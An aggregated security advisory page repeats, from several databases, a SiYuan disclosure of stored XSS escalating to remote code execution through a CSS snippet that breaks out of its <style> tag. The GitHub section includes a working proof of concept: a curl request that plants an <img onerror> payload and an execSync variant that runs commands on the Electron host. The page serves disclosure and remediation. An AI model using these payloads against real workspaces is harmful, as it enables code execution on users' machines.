SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet()

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls. The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway. This vulnerability is fixed in 3.7.0.

Source published

24 Jun 2026 21:14:38 UTC

Source modified

25 Jun 2026 15:29:48 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls. The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway. This vulnerability is fixed in 3.7.0.

Source published

Jun 24, 2026, 9:14:38 PM (timezone not stated)

Source modified

Jun 25, 2026, 3:29:48 PM (timezone not stated)

Observed here

7 Nov 2026 12:28:17 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls. The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway. This vulnerability is fixed in 3.7.0.

Source published

24 Jun 2026 22:16:48 UTC

Source modified

25 Oct 2026 23:10:00 UTC

Observed here

27 Oct 2026 14:13:29 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

### Summary A CSS snippet body containing `</style>` breaks out of its surrounding `<style>` tag when `renderSnippet()` interpolates it via `insertAdjacentHTML`. A payload like `</style><img src=x onerror="...">` runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with `nodeIntegration:true`, so `require('child_process')` is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls. The bug also bypasses the user's `enabledCSS` / `enabledJS` separation. A user who turned `enabledJS` off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway. ### Details Affected: - HEAD `96dfe0b` (v3.6.5, 2026-04-21) - Sink: `app/src/config/util/snippets.ts:32` - Source: `/api/snippet/getSnippet`, backed by `data/snippets/conf.json` - Default config: `EnabledCSS: true`, `EnabledJS: true` at `kernel/conf/snippet.go:26-27` - Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322` The write path stores raw content. `kernel/api/snippet.go:107-130` copies `Content` from the request straight into the snippet record with no HTML escape, no `</style>` check, no type-specific validation: ```go snippet := &conf.Snippet{ ID: m["id"].(string), Name: m["name"].(string), Type: m["type"].(string), Content: m["content"].(string), Enabled: m["enabled"].(bool), } ``` Storage is workspace-internal and syncs. `kernel/model/repository.go:1748,1798` reference `data/snippets/conf.json`, so the malicious record propagates to every sync peer. The renderer reads the snippet back through `/api/snippet/getSnippet` and interpolates it into a `<style>` tag, raw. `app/src/config/util/snippets.ts:32`, called on app boot and on the `reloadSnippet` WebSocket event: ```ts fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => { response.data.snippets.forEach((item: ISnippet) => { const id = `snippet${item.type === "css" ? "CSS" : "JS"}${item.id}`; if (item.type === "css") { document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${item.content}</style>`); } else if (item.type === "js") { // intentional script-loading path } }); }); ``` `${item.content}` lands inside the `<style>` tag. The HTML parser closes the style on the first `</style>` substring and treats anything after as a sibling of the empty `<style>` element. Worth noting: the JS branch right after the CSS one already does the safe thing. It uses `document.createElement("script")` and sets `el.text = item.content`. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a `<style>` element, and that's the bug. #### Suggested fix The cleanest fix mirrors what the JS branch already does. Build the element with `createElement` and set `textContent`: ```ts if (item.type === "css") { const el = document.createElement("style"); el.id = id; el.textContent = item.content; document.head.appendChild(el); } ``` `textContent` on a `<style>` element populates the CSS rules without invoking the HTML parser, so `</style>` in the body is a 4-character text node instead of a close tag. If touching that line is undesirable, the smaller patch is to escape `<` before interpolation: ```ts const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&amp;" : "&lt;"); document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${safe}</style>`); ``` Either fix on its own closes the bug. Worth also rejecting `</style>` on the `setSnippet` backend handler so older renderers pulling the same synced workspace stay safe. ### PoC Stand up SiYuan: ```bash docker run -d --name siyuan-poc \ -v ./workspace:/siyuan/workspace \ -p 16806:6806 \ b3log/siyuan:latest \ --workspace=/siyuan/workspace --accessAuthCode=hunter2 ``` Plant the snippet: ```bash TOKEN=$(jq -r '.api.token' workspace/conf/conf.json) curl -X POST http://localhost:16806/api/snippet/setSnippet \ -H "Content-Type: application/json" \ -H "Authorization: Token $TOKEN" \ -d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUAN_XSS\\\";window.__siyuan_xss=true\">"}]}' ``` Returns `{"code":0,"msg":"","data":null}`. The snippet now sits at `workspace/data/snippets/conf.json` verbatim. Open `http://localhost:16806/stage/build/desktop/?r=1` or the Electron app pointing at the same workspace, authenticate, and run in DevTools: ```js ({ markerFired: window.__siyuan_xss === true, styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length, imgsInHead: document.head.querySelectorAll('img').length, snippetStyleEmpty: document.querySelector('style[id^="snippetCSS"]')?.textContent.length === 0 }) ``` Result from my run on 2026-05-19 against `b3log/siyuan:latest`: ```json { "markerFired": true, "styleCount": 1, "imgsInHead": 1, "snippetStyleEmpty": true } ``` `document.title` is `SIYUAN_XSS`. The `<style>` exists but closed empty on the first `</style>`. The smuggled `<img>` is a sibling in `<head>`. The injected `onerror` ran arbitrary JS. To turn it into RCE on Electron, swap the marker payload for: ```html <img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')"> ``` `require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`. ### Impact Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds. The payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a `reloadSnippet` WebSocket push. No user click required beyond having the app open. Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/snippet/setSnippet`. Once the malicious snippet is in the workspace, every peer that syncs and has `enabledCSS:true` runs the payload. The bug also silently bypasses the user's snippet-toggle intent. Someone who turned `enabledJS` off and left `enabledCSS` on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.

Source published

10 Jul 2026 19:25:09 UTC

Source modified

21 Jul 2026 19:18:51 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL

SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet() in github.com/siyuan-note/siyuan/kernel

Source published

17 Jul 2026 19:42:05 UTC

Source modified

21 Jul 2026 19:15:29 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.